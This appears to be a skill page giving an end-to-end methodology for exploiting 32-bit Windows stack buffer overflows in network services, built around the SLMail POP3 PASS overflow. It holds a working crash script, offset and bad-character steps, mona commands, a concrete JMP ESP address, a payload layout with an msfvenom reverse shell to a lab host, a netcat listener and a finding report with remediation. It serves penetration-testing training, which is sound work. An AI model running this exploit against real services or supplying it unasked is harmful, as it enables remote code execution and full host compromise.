Methodology for exploiting classic 32-bit Windows stack buffer overflows in network services during authorized engagements (OSCP-level), covering crash reproduction, EIP offset discovery with pattern_create/pattern_offset, shellcode space and bad-character enumeration, locating a reliable JMP ESP return address with mona.py, and delivering an msfvenom payload to gain remote code execution.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Methodology for exploiting classic 32-bit Windows stack buffer overflows in network services during authorized engagements (OSCP-level), covering crash reproduction, EIP offset discovery with pattern_create/pattern_offset, shellcode space and bad-character enumeration, locating a reliable JMP ESP return address with mona.py, and delivering an msfvenom payload to gain remote code execution.
During authorized assessments or OSCP-style labs against a 32-bit Windows network service (e.g., SLMail POP3, custom
TCP daemons) that crashes when sent an oversized request to a field such as USER, PASS, or a protocol command.
When you have a Windows debugger (Immunity Debugger + mona.py, or x32dbg/WinDbg) attached and can observe that a large
input overwrites EIP, indicating a saved-return-address overwrite.
When the target binary/DLLs lack modern mitigations (no ASLR, no DEP/NXCompat, no SafeSEH) so a static JMP ESP
return address into stack-resident shellcode is viable.
As the end-to-end recipe to take a crash from proof-of-concept DoS to a working reverse/bind shell.
Critical: Concepts/Steps Most Often Missed
Confirming EIP control vs. a generic crash. A SIGSEGV/access violation is not enough. You must prove EIP holds
your bytes. Send 'A'*offset + 'BBBB' + 'CCCC' and verify EIP == 0x42424242 ("BBBB"). Only then is control-flow
hijack confirmed.
Bad characters break everything silently.0x00 (null), 0x0A (LF), and 0x0D (CR) are almost always bad for
string-based protocols, but each target differs. Skipping bad-char enumeration produces a mangled/truncated shellcode
in memory and a non-working (but "correct-looking") exploit. Always diff the in-memory bytes against the sent
badchar block.
Choosing the JMP ESP module wrong. The return address must come from a module with Rebase: False, ASLR: False,
SafeSEH: False, NXCompat: False, OS Dll: True/stable base — otherwise the address shifts on reboot/patch and the
exploit becomes unreliable. Verify with !mona modules.
Bad bytes inside the return address. The JMP ESP address itself must not contain any bad character, or the
overwrite truncates before reaching EIP.
Forgetting NOPs / self-modifying shellcode. Encoded payloads (e.g., shikata_ga_nai) decode on the stack and can
overwrite their own first bytes. Prepend a NOP sled (\x90 * 8–16) between the return address and the shellcode so the
decoder has room.
Restart the service between attempts. Each crash leaves the service dead; restart (e.g., net start slmail) and
re-attach before every test or you will misread stale state.
How to CONFIRM
Attach the debugger, send a pattern from pattern_create.rb -l <size>, and on crash read EIP. Feed that value to
pattern_offset.rb -l <size> -q <eip> to get the exact offset. Re-send 'A'*offset + 'BBBB' + 'C'*N and confirmEIP = 0x42424242 and that ESP points into your C buffer with enough contiguous space for the shellcode. That two-part
check (offset reproducible + EIP exactly your marker) is the definitive proof of control.
Workflow
Step 1: Reproduce the Crash and Profile
#!/usr/bin/pythonimport socket
ip, port = '10.11.25.153', 110
buffer = 'A' * 2700
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send('USER username\r\n'); s.recv(1024)
s.send('PASS ' + buffer + '\r\n') # oversized field crashes the service
Attach the service in Immunity Debugger (File -> Attach), press Run, then send the script. An access violation
with EIP overwritten by 41414141 indicates a controllable return-address overflow. Restart the service before the
next step.
Step 2: Find the EIP Offset with a Cyclic Pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
# put the generated pattern into `buffer`, crash again, read EIP (e.g. 39694438)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
# -> Exact match at offset 2606
Confirm:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'# EIP must become 0x42424242 ("BBBB")
Step 3: Check Shellcode Space and Enumerate Bad Characters
buffer = 'A'*2606 + 'BBBB' + 'C'*600# verify ESP points at C's and how much room exists
# Send all bytes 0x01..0xff after EIP, then diff against memory at ESP to spot mangled/missing bytes
badchars = (
"\x01\x02\x03...\xfd\xfe\xff") # full 0x01-0xff block (0x00 already assumed bad)
buffer = 'A'*2606 + 'BBBB' + badchars
# Common results: drop 0x0A (LF) and 0x0D (CR); keep refining until the block is intact in memory
Step 4: Find a JMP ESP and Deliver the Payload
!mona modules # find module with Rebase/ASLR/SafeSEH/NXCompat = False
!mona find -s "\xff\xe4" -m slmfc.dll # \xff\xe4 = JMP ESP; pick an address with no bad chars
# e.g. 0x5f4a358f -> packed little-endian as \x8f\x35\x4a\x5f
Listener to catch the reverse shell (nc -lvnp 443).
pwntools
Optional scripting for socket interaction, packing (p32), and payload assembly.
Common Scenarios
Scenario 1: SLMail POP3 PASS overflow
Sending PASS with ~2700 bytes crashes SLMail; the offset to EIP is 2606. A JMP ESP from slmfc.dll
(0x5f4a358f) plus an 8-byte NOP sled and a shikata_ga_nai-encoded reverse shell (bad chars \x00\x0a\x0d) yields
SYSTEM/service-account RCE.
Scenario 2: Custom TCP service command overflow
A proprietary daemon overflows on an oversized protocol verb argument. After confirming EIP control and enumerating bad
chars (including a protocol delimiter byte), a JMP ESP from a non-ASLR plugin DLL lands a bind shell.
Scenario 3: Limited shellcode space
ESP has only a few hundred contiguous bytes. A first-stage egghunter or a short jmp backward into the larger A
buffer is used to reach a full second-stage payload placed earlier in the request.
Scenario 4: Encoder self-corruption
A payload appears in memory but the shell never connects. Adding a longer NOP sled and regenerating the shellcode (a
different encoder iteration) resolves a self-overwrite during decoding.
Output Format
## Windows Binary Exploitation Finding
**Vulnerability**: Stack buffer overflow in 32-bit network service (CWE-121)
**Severity**: Critical (remote code execution)
**Target**: SLMail 5.5 POP3 (10.11.25.153:110), no ASLR/DEP/SafeSEH on slmfc.dll
**Vulnerable Field**: PASS command argument
### Crash & Control Proof
- Crash input: 'A'*2700 -> access violation, EIP = 0x41414141
- Offset to EIP: 2606 (pattern_offset confirmed)
- Control check: 'A'*2606 + 'BBBB' + 'C'*600 -> EIP = 0x42424242, ESP points into C buffer (~430 bytes free)
- Bad chars: 0x00, 0x0a, 0x0d
### Exploitation Path
Return address: JMP ESP @ 0x5f4a358f (slmfc.dll, Rebase/ASLR/SafeSEH=False)
Payload: 'A'*2606 + p32(0x5f4a358f) + '\x90'*8 + msfvenom windows/shell_reverse_tcp (encoded)
Result: reverse shell to 10.11.0.41:443 as the service account.
### Impact
Remote code execution as the SLMail service account; full host compromise after local privilege escalation.
### Recommendation
1. Patch/replace the vulnerable service; validate and bound all protocol field lengths.
2. Recompile with /GS stack cookies, SafeSEH, /DYNAMICBASE (ASLR), and /NXCOMPAT (DEP).
3. Enforce system-wide ASLR/DEP and segment the service off untrusted networks.
4. Add input-length monitoring/IPS signatures for oversized POP3 commands.